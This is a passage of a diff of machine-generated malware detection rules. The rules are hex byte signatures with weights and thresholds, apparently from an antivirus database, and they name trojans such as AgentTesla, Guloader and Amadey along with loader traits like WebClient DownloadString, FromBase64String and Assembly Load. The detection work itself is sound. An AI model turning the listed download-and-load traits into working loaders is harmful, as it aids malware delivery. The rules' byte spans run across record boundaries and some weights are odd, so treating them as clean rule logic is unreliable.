41 75 74 6f 64 65 73 6b 20 49 6e 63 2e 01 00 17 81 01 61 6e 64 65 62 72 79 73 74 20 72 65 6e 65 67 6c 65 63 74 2e 65 78 } //28500 - $a_00_4 = {05 00 05 00 21 } //0 + $a_79_1 = {6c 65 6e 01 00 15 81 01 73 6f 72 74 69 6d 65 6e 74 73 62 6f 67 68 61 6e 64 6c 65 72 73 01 00 0d 81 01 6f 72 64 69 6e 65 72 65 73 20 6a 61 70 01 00 0e 81 01 6b 6f 6d 6d 65 6e 73 75 72 61 62 65 6c 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 56 45 30 31 21 4d 54 42 00 01 00 0f 81 01 75 } //29537 + $a_69_2 = {65 20 61 74 6f 6d 69 74 79 01 00 0b 81 01 70 72 65 69 6e 73 63 72 69 62 65 01 00 1f 81 01 6e 6f 6e 70 72 65 68 65 6e 73 69 6c 65 20 74 6f 6b 65 6e 73 20 6d 69 73 73 69 6c 65 72 6e 65 01 00 1e 81 01 73 6b 72 6f 74 62 69 6c 65 72 73 20 6e 6f 6e 63 6f 6e 66 75 74 61 74 69 6f 6e 2e 65 78 65 01 00 10 81 01 61 6c 69 6b 6b 61 20 74 75 6c 69 73 61 } //25700 + $a_00_3 = {00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 48 30 31 21 4d 54 42 00 01 00 20 81 01 54 6f 74 61 6c 20 56 69 64 65 6f 20 43 6f 6e 76 65 72 74 65 72 20 33 2e 37 31 20 53 65 74 75 70 01 00 13 81 01 45 6e 74 65 72 67 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 46 72 61 70 73 } //25966 + $a_73_4 = {61 6c 6c 65 72 01 00 0d 81 01 41 75 74 6f 64 65 73 6b 20 49 6e 63 2e 01 00 17 81 01 61 6e 64 65 62 72 79 73 74 20 72 65 6e 65 67 6c 65 63 74 2e 65 78 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 57 47 21 4d 54 42 00 01 00 30 02 65 00 72 00 72 } //18720 condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29537+(#a_61_2 & 1)*28500+(#a_00_4 & 1)*0) >=5 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29537+(#a_69_2 & 1)*25700+(#a_00_3 & 1)*25966+(#a_73_4 & 1)*18720) >=5 } -rule _InfrastructureShared_11661{ +rule _InfrastructureShared_12417{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 56 45 30 31 21 4d 54 42 00 01 00 0f 81 01 75 64 64 72 69 76 65 20 61 74 6f 6d 69 74 79 01 00 0b 81 01 70 72 65 69 6e 73 63 72 69 62 65 01 00 1f 81 01 6e 6f 6e 70 72 65 68 65 6e 73 69 6c 65 20 74 6f } //18467 + $a_73_1 = {6d 69 73 73 69 6c 65 72 6e 65 01 00 1e 81 01 73 6b 72 6f 74 62 69 6c 65 72 73 20 6e 6f 6e 63 6f 6e 66 75 74 61 74 69 6f 6e 2e 65 78 65 01 00 10 81 01 61 6c 69 6b 6b 61 20 74 75 6c 69 73 61 6e 65 73 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 48 30 31 21 4d 54 42 } //25963 + $a_74_3 = {6c 20 56 69 64 65 6f 20 43 6f 6e 76 65 72 74 65 72 20 33 2e 37 31 20 53 65 74 75 70 01 00 13 81 01 45 6e 74 65 72 67 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 46 72 61 70 73 20 49 6e 73 74 61 6c 6c 65 72 01 00 0d 81 01 41 75 74 6f 64 65 73 6b 20 49 6e 63 2e 01 00 17 81 01 61 6e 64 65 62 72 79 73 74 20 72 65 6e 65 67 6c } //21505 + $a_2e_4 = {78 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 57 47 21 4d 54 42 00 01 00 30 02 65 00 72 00 72 00 6f 00 72 00 90 02 1a 44 00 6f 00 77 00 90 02 1a 6e 00 6c 00 90 02 1a 6f 00 61 00 64 00 44 00 90 02 1a 61 00 74 00 61 00 90 00 01 00 1f 03 57 69 6e 64 6f 77 73 46 } //25445 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25963+(#a_74_3 & 1)*21505+(#a_2e_4 & 1)*25445) >=5 + +} +rule _InfrastructureShared_12418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128719,26 +137211,40 @@ rule _InfrastructureShared_11661{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 48 30 31 21 4d 54 42 00 01 00 20 81 01 54 6f 74 61 6c 20 56 69 64 65 6f 20 43 6f 6e 76 65 72 74 65 72 20 33 2e 37 31 20 53 65 74 75 70 01 00 13 81 01 45 6e 74 65 72 67 79 20 43 6f 72 70 6f 72 } //18467 $a_6f_1 = {01 00 0f 81 01 46 72 61 70 73 20 49 6e 73 74 61 6c 6c 65 72 01 00 0d 81 01 41 75 74 6f 64 65 73 6b 20 49 6e 63 2e 01 00 17 81 01 61 6e 64 65 62 72 79 73 74 20 72 65 6e 65 67 6c 65 63 74 2e 65 78 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //29793 $a_4d_2 = {47 21 4d 54 42 00 01 00 30 02 65 00 72 00 72 00 6f 00 72 00 90 02 1a 44 00 6f 00 77 00 90 02 1a 6e 00 6c 00 90 02 1a 6f 00 61 00 64 00 44 00 90 02 1a 61 00 74 00 61 00 90 00 01 00 1f 03 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 90 02 03 2e 50 72 } //11873 - $a_72_3 = {69 65 73 90 00 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 07 80 01 52 65 76 65 72 73 65 00 00 78 a8 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 4c 6f 61 64 65 72 2e 47 00 05 00 1b 01 5b 2d 5d 20 52 65 71 75 65 73 74 20 6c 69 6d 69 } //28783 - $a_65_4 = {63 68 65 64 2e 00 01 00 2e 03 4c 64 72 44 6c 6c 2e 64 6c 6c 00 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 90 04 01 03 41 2d 5a 90 05 0c 03 61 2d 7a 00 90 00 01 00 2e 03 4c 64 72 44 6c 6c 2e 64 6c 6c 00 90 04 01 03 41 2d 5a 90 05 0c 03 61 2d 7a 00 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 90 00 00 00 78 a8 00 00 06 00 } //8308 + $a_72_3 = {69 65 73 90 00 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 07 80 01 52 65 76 65 72 73 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6d 61 64 65 79 2e 50 47 41 44 21 4d 54 42 00 01 00 25 01 24 64 34 61 63 61 38 35 63 2d 37 } //28783 + $a_2d_4 = {37 33 64 2d 61 32 65 63 2d 32 36 39 35 66 64 66 30 38 38 38 65 01 00 15 01 6b 6f 69 00 44 6f 77 6e 6c 6f 61 64 65 72 41 70 70 2e 65 78 65 01 00 17 03 44 6f } //12849 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_4d_2 & 1)*11873+(#a_72_3 & 1)*28783+(#a_65_4 & 1)*8308) >=5 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_4d_2 & 1)*11873+(#a_72_3 & 1)*28783+(#a_2d_4 & 1)*12849) >=5 } -rule _InfrastructureShared_11662{ +rule _InfrastructureShared_12419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 57 47 21 4d 54 42 00 01 00 30 02 65 00 72 00 72 00 6f 00 72 00 90 02 1a 44 00 6f 00 77 00 90 02 1a 6e 00 6c 00 90 02 1a 6f 00 61 00 } //21539 $a_00_1 = {90 02 1a 61 00 74 00 61 00 90 00 01 00 1f 03 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 90 02 03 2e 50 72 6f 70 65 72 74 69 65 73 90 00 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 06 80 01 49 6e 76 6f 6b } //100 - $a_65_3 = {65 72 73 65 00 00 78 a8 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 4c 6f 61 64 65 72 2e 47 00 05 00 1b 01 5b 2d 5d 20 52 65 71 75 65 73 74 20 6c 69 6d 69 74 20 72 65 61 63 68 65 64 2e 00 01 00 2e 03 4c 64 } //384 - $a_6c_4 = {64 6c 6c 00 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 90 04 01 03 41 2d 5a 90 05 0c 03 61 2d 7a 00 90 00 01 00 2e 03 4c 64 72 44 6c 6c 2e 64 6c 6c 00 90 04 01 03 41 2d 5a 90 05 0c 03 61 2d 7a 00 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 90 00 00 00 78 a8 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 48 } //17522 + $a_65_3 = {65 72 73 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6d 61 64 65 79 2e 50 47 41 44 21 4d 54 42 00 01 00 25 01 24 64 34 61 63 61 38 35 63 2d 37 31 32 34 2d 34 37 33 64 2d 61 32 65 63 2d 32 36 39 } //384 + $a_66_4 = {38 38 38 65 01 00 15 01 6b 6f 69 00 44 6f 77 6e 6c 6f 61 64 65 72 41 70 70 2e 65 78 65 01 00 17 03 44 6f 77 6e 6c 6f 61 64 65 72 41 70 70 2e 90 02 08 2e 72 65 73 90 00 01 00 0b 01 4c 7a 6d 61 44 65 63 6f 64 65 72 01 00 0e 01 42 69 74 54 72 65 65 44 65 63 6f 64 65 72 00 00 78 a8 00 00 06 00 06 00 03 } //26165 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_65_3 & 1)*384+(#a_6c_4 & 1)*17522) >=5 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_65_3 & 1)*384+(#a_66_4 & 1)*26165) >=5 } -rule _InfrastructureShared_11663{ +rule _InfrastructureShared_12420{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6d 61 64 65 79 2e 50 47 41 44 21 4d 54 42 00 01 00 25 01 24 64 34 61 63 61 38 35 63 2d 37 31 32 34 2d 34 37 33 64 2d 61 32 65 63 2d 32 36 39 35 66 64 66 30 38 38 38 65 } //21539 + $a_01_1 = {6b 6f 69 00 44 6f 77 6e 6c 6f 61 64 65 72 41 70 70 2e 65 78 65 } //1 + $a_03_2 = {44 6f 77 6e 6c 6f 61 64 65 72 41 70 70 2e [0-08] 2e 72 65 73 } //1 + $a_01_3 = {4c 7a 6d 61 44 65 63 6f 64 65 72 } //1 LzmaDecoder + $a_01_4 = {42 69 74 54 72 65 65 44 65 63 6f 64 65 72 } //1 BitTreeDecoder + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} +rule _InfrastructureShared_12421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -128750,7 +137256,7 @@ rule _InfrastructureShared_11663{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29811+(#a_32_2 & 1)*28265) >=6 } -rule _InfrastructureShared_11664{ +rule _InfrastructureShared_12422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -128763,7 +137269,7 @@ rule _InfrastructureShared_11664{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*8293+(#a_01_3 & 1)*4096+(#a_00_4 & 1)*6) >=6 } -rule _InfrastructureShared_11665{ +rule _InfrastructureShared_12423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128777,7 +137283,7 @@ rule _InfrastructureShared_11665{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3840+(#a_67_2 & 1)*20993+(#a_6c_3 & 1)*21861+(#a_44_5 & 1)*18775) >=6 } -rule _InfrastructureShared_11666{ +rule _InfrastructureShared_12424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128792,7 +137298,7 @@ rule _InfrastructureShared_11666{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*4096+(#a_69_2 & 1)*17509+(#a_75_3 & 1)*20594+(#a_65_4 & 1)*9564+(#a_65_5 & 1)*29295) >=6 } -rule _InfrastructureShared_11667{ +rule _InfrastructureShared_12425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128807,7 +137313,7 @@ rule _InfrastructureShared_11667{ ((#a_77_0 & 1)*16675+(#a_72_1 & 1)*29477+(#a_6e_2 & 1)*25972+(#a_2d_3 & 1)*12643+(#a_65_4 & 1)*16687+(#a_61_5 & 1)*29251) >=6 } -rule _InfrastructureShared_11668{ +rule _InfrastructureShared_12426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128821,7 +137327,7 @@ rule _InfrastructureShared_11668{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_73_2 & 1)*21620+(#a_44_3 & 1)*29793+(#a_6f_4 & 1)*24933) >=6 } -rule _InfrastructureShared_11669{ +rule _InfrastructureShared_12427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128835,7 +137341,7 @@ rule _InfrastructureShared_11669{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*21761+(#a_45_3 & 1)*29285+(#a_74_4 & 1)*18798+(#a_72_5 & 1)*12084) >=6 } -rule _InfrastructureShared_11670{ +rule _InfrastructureShared_12428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128850,7 +137356,7 @@ rule _InfrastructureShared_11670{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*16938+(#a_41_2 & 1)*26723+(#a_69_3 & 1)*24835+(#a_66_4 & 1)*20271+(#a_61_5 & 1)*17153) >=6 } -rule _InfrastructureShared_11671{ +rule _InfrastructureShared_12429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -128864,7 +137370,7 @@ rule _InfrastructureShared_11671{ ((#a_4c_0 & 1)*21539+(#a_78_1 & 1)*25200+(#a_21_2 & 1)*20526+(#a_38_3 & 1)*9518+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_11672{ +rule _InfrastructureShared_12430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -128874,12 +137380,12 @@ rule _InfrastructureShared_11672{ $a_2b_2 = {90 01 04 83 fa 40 83 fa 7b 01 34 08 81 fb fa 00 00 00 83 fb 24 81 e9 94 01 00 00 d9 f8 66 0f f8 c5 eb 90 00 01 00 11 81 01 54 69 6c 6c 69 64 73 6b 6c 66 74 65 72 6e 65 73 38 01 00 0a 81 01 4c 6f 61 64 65 64 6e 65 73 73 01 00 29 81 01 56 44 74 4c 73 50 51 38 61 76 78 5a 31 53 53 54 47 32 6a 38 41 46 43 56 71 4f 71 52 48 30 34 43 46 77 73 57 75 5a 32 35 30 00 00 78 a8 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 56 42 21 4d 54 42 00 01 00 1b 01 51 4c 4b 68 6f 61 43 4e 54 54 2e 66 6f 72 6d 68 70 2e 72 65 73 6f 75 72 63 65 73 01 00 15 01 51 4c 4b 68 6f 61 43 4e 54 54 2e 50 72 6f 70 65 72 74 69 65 73 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 06 01 42 69 74 6d 61 70 01 00 06 01 43 6f 6e 63 61 74 01 00 09 01 } //-31997 $a_4f_3 = {6a 65 63 74 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 01 52 65 70 6c 61 63 65 00 00 78 a8 00 00 09 00 09 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 53 00 02 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 02 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 02 00 } //25927 $a_6f_4 = {6e 6c 6f 61 64 53 74 72 69 6e 67 00 02 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 } //271 - $a_6f_6 = {64 00 90 00 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 4b 21 4d 54 42 00 0a 00 47 02 20 00 10 00 00 8d 90 01 04 0d 73 90 01 04 0a 08 09 16 } //96 + $a_6f_6 = {64 00 90 00 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 61 69 6c 50 6f 63 6b 65 74 2e 42 21 64 68 61 00 05 00 19 01 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 73 52 } //96 condition: ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*25959+(#a_2b_2 & 1)*-31997+(#a_4f_3 & 1)*25927+(#a_6f_4 & 1)*271+(#a_6f_6 & 1)*96) >=7 } -rule _InfrastructureShared_11673{ +rule _InfrastructureShared_12431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -128892,7 +137398,7 @@ rule _InfrastructureShared_11673{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26964+(#a_42_2 & 1)*21038+(#a_63_3 & 1)*28483) >=8 } -rule _InfrastructureShared_11674{ +rule _InfrastructureShared_12432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -128901,30 +137407,41 @@ rule _InfrastructureShared_11674{ $a_69_1 = {73 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 06 01 42 69 74 6d 61 70 01 00 06 01 43 6f 6e 63 61 74 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 01 52 65 70 6c 61 63 65 00 00 78 a8 00 00 09 00 09 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 42 6c 61 } //29285 $a_69_2 = {64 69 2e 4b 53 00 02 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 02 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 02 00 0f 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 02 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 } //24932 $a_00_3 = {14 } //144 - $a_73_4 = {6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 4b 21 4d 54 42 00 0a 00 47 02 20 00 10 00 00 8d 90 01 04 0d 73 90 01 04 0a 08 09 16 20 00 10 00 00 6f 90 01 04 0b 07 16 fe 02 13 05 11 05 2c 09 06 09 16 07 6f 90 01 } //16643 - $a_fe_5 = {13 06 11 06 2d d5 06 6f 90 01 04 13 04 de 11 06 2c 06 06 90 00 01 } //1796 - $a_01_6 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 80 01 47 65 74 44 6f 6d 61 69 6e 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a8 00 00 0a 00 0a 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 53 70 65 6c 6c 43 68 65 63 6b 65 72 00 02 00 16 01 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 02 00 0b 01 36 31 32 2e 34 2e 31 31 2e 35 33 02 00 16 01 54 65 63 68 } //4096 - $a_6f_7 = {79 20 4f 6e 65 20 4c 69 6d 69 74 65 64 02 00 21 01 41 70 70 6c 69 63 61 74 69 6f 6e 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 02 00 1b 01 46 72 61 6d 65 77 6f 72 6b 20 2d 20 43 6f 72 65 20 2d 20 4d 61 79 20 32 30 32 31 00 00 78 a8 00 00 0b 00 0b 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f } //28526 + $a_73_4 = {6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 61 69 6c 50 6f 63 6b 65 74 2e 42 21 64 68 61 00 05 00 19 01 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 73 52 65 63 75 72 73 69 76 65 6c 79 05 00 0c 01 44 6f 77 6e 6c 6f 61 64 6d 61 69 6c 0a } //16643 + $a_44_5 = {6c } //7680 l + $a_00_7 = {5f 00 50 00 46 00 58 00 5f 00 46 00 69 00 6c 00 65 00 0a 00 24 01 35 64 63 62 36 31 38 63 2d 37 31 35 66 2d 34 35 65 31 2d 39 33 39 36 2d 30 31 30 62 65 33 38 65 37 62 32 30 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 4b 21 4d 54 42 00 } //105 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_69_2 & 1)*24932+(#a_00_3 & 1)*144+(#a_73_4 & 1)*16643+(#a_fe_5 & 1)*1796+(#a_01_6 & 1)*4096+(#a_6f_7 & 1)*28526) >=8 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_69_2 & 1)*24932+(#a_00_3 & 1)*144+(#a_73_4 & 1)*16643+(#a_44_5 & 1)*7680+(#a_00_7 & 1)*105) >=8 } -rule _InfrastructureShared_11675{ +rule _InfrastructureShared_12433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 53 00 02 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 02 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 02 00 0f 01 44 6f 77 6e 6c 6f 61 } //16675 - $a_72_1 = {6e 67 00 02 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 } //21348 - $a_4d_2 = {42 00 0a 00 47 02 20 00 10 00 00 8d 90 01 04 0d 73 90 01 04 0a 08 09 16 20 00 10 00 00 6f 90 01 04 } //19272 - $a_fe_3 = {13 05 11 05 2c 09 06 09 16 07 6f 90 01 04 07 16 fe 02 13 06 11 06 } //1803 - $a_6f_4 = {01 04 13 04 de 11 } //-10963 - $a_06_5 = {90 00 01 00 10 80 } //11270 + $a_72_1 = {6e 67 00 02 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 61 69 6c 50 6f 63 } //21348 + $a_2e_2 = {21 64 68 61 00 05 00 19 01 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 73 52 65 63 75 72 73 69 76 65 6c 79 05 00 0c 01 44 6f 77 6e 6c 6f 61 64 6d 61 69 6c 0a 00 1e 01 44 00 6c 00 4d 00 61 00 69 00 6c 00 5f 00 50 00 46 00 58 00 5f 00 46 00 69 00 6c 00 65 00 0a 00 24 01 35 64 63 62 36 31 38 63 2d 37 31 35 66 2d 34 35 65 31 2d 39 33 39 36 2d 30 31 30 62 } //25963 + $a_65_3 = {62 32 30 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 4b 21 4d 54 42 00 0a 00 47 } //13157 + $a_90_5 = {04 0d 73 90 01 04 0a 08 09 16 20 00 10 00 00 6f 90 01 04 0b 07 16 fe 02 13 05 11 05 2c 09 06 09 16 07 6f 90 01 04 07 16 fe 02 13 06 11 06 2d d5 06 6f 90 01 04 13 04 de 11 06 2c 06 06 90 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 80 01 47 65 74 44 6f 6d 61 69 6e 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a8 00 00 0a 00 0a 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 53 70 65 6c 6c 43 68 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21348+(#a_4d_2 & 1)*19272+(#a_fe_3 & 1)*1803+(#a_6f_4 & 1)*-10963+(#a_06_5 & 1)*11270) >=9 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21348+(#a_2e_2 & 1)*25963+(#a_65_3 & 1)*13157+(#a_90_5 & 1)*0) >=9 } -rule _InfrastructureShared_11676{ +rule _InfrastructureShared_12434{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 61 69 6c 50 6f 63 6b 65 74 2e 42 21 64 68 61 00 05 00 19 01 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 73 52 65 63 75 72 73 69 76 65 6c 79 05 00 0c 01 44 6f 77 6e 6c 6f 61 64 } //16675 + $a_6c_1 = {00 1e 01 44 00 6c 00 4d 00 61 00 69 00 6c 00 5f 00 50 00 46 00 58 00 5f 00 46 00 69 00 6c 00 65 00 0a 00 24 01 35 64 63 62 36 31 38 63 2d 37 31 35 66 2d 34 35 65 31 2d 39 33 39 36 2d 30 31 30 62 65 33 38 65 37 62 32 30 00 00 78 a8 00 00 0a 00 0a 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //24941 + $a_54_2 = {73 6c 61 2e 4f 58 48 4b 21 4d 54 42 00 0a 00 47 02 20 00 10 00 00 8d 